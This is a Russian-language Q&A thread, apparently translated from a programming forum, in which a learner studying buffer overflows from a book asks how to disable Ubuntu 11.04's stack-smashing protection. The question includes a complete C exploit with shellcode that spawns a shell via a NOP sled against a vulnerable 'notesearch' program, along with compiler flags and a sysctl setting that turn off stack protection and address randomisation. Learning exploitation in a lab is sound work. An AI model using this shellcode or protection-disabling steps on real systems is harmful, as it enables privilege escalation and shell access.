Отключение защиты от стека в Ubuntu 11.04 - PullRequest
Новая
       36

Отключение защиты от стека в Ubuntu 11.04

2 голосов
/ 03 мая 2011

Я использую 32-разрядную версию Ubuntu 11.04 на MacBook 2007 года и только начинаю узнавать об эксплойтах переполнения буфера.Я пытаюсь запустить примеры программ из книги, но меры безопасности Ubuntu делают невозможным успешное выполнение переполнения буфера.Вот код, который я пытаюсь запустить: 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

Я хотел бы, чтобы этот код приводил к segfault, но каждый раз, когда я его запускаю, он выходит с ошибкой «обнаружен разрыв стека».Я попытался скомпилировать (используя gcc) следующие параметры: 

-fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack

в различных комбинациях, а также все вместе.Я также попытался $ sysctl -w kernel.randomize_va_space=0 с последующей перекомпиляцией, но безуспешно.

Было бы очень признательно, если бы кто-нибудь смог пролить свет на правильный способ выполнения переполнения буфера, учитывая встроенные меры безопасности Ubuntu

Ответы [ 2 ]

5 голосов
/ 07 мая 2011

Я немного больше осведомлен о том, что происходит сейчас. Данный код создает буфер и затем передает его в программу с именем notesearch, которая имеет уязвимость переполнения буфера. Я не понял, как отключить защитные меры в текущей версии Ubuntu, но методы, которые я попробовал, работают на моей виртуальной машине Ubuntu 9.10. То есть -fno-stack-protector работает как флаг gcc, и в паре с sysctl kernel.randomize_va_space = 0 переполнения буфера, которые выполняют шелл-код в стеке, разрешены. Немного обходного пути, но работа моей виртуальной машины мне подходит и позволяет мне продолжить с примерами в этой книге. Это отличная книга, если вы заинтересованы в изучении подвигов. Вот оно

0 голосов
/ 07 мая 2011

Вы уверены, что передаете -fno-stack-protector на правильный вызов gcc? В указанном коде нет переполнения буфера.

...